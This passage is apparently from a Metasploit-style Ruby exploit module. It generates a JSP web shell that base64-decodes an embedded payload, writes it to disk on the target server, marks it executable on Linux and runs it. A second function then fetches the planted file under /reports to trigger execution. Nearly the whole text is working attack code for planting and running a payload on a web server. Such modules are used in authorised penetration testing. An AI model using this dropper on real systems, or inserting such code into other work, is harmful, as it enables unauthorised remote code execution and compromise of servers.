shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
|
||||
shell += " ou.write(pl);"
|
||||
shell += " ou.close();"
|
||||
|
||||
shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));"
|
||||
shell += " ou.write(pltwo);"
|
||||
shell += " ou.close();"
|
||||
else
|
||||
shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");"
|
||||
shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
|
||||
shell += " ou.write(pl);"
|
||||
shell += " ou.close();"
|
||||
end
|
||||
#correct rights if linux host
|
||||
if datastore['TARGET'] == 0
|
||||
shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);"
|
||||
shell += " p.waitFor();"
|
||||
end
|
||||
shell += " Runtime.getRuntime().exec(path);"
|
||||
shell += "%>"
|
||||
|
||||
return shell
|
||||
end
|
||||
|
||||
def exec_payload
|
||||
print_status("#{peer} - Our payload is at: /reports#{@payload_dir}#{@payload_name}")
|
||||
print_status("#{peer} - Executing payload...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
print_good("#{peer} - Payload executed!")
|
||||
else
|
||||
print_status("#{peer} - Payload execution failed")
|
||||
end
|
||||
end
|
||||
end
|
||||
Loading…
Add table
Reference in a new issue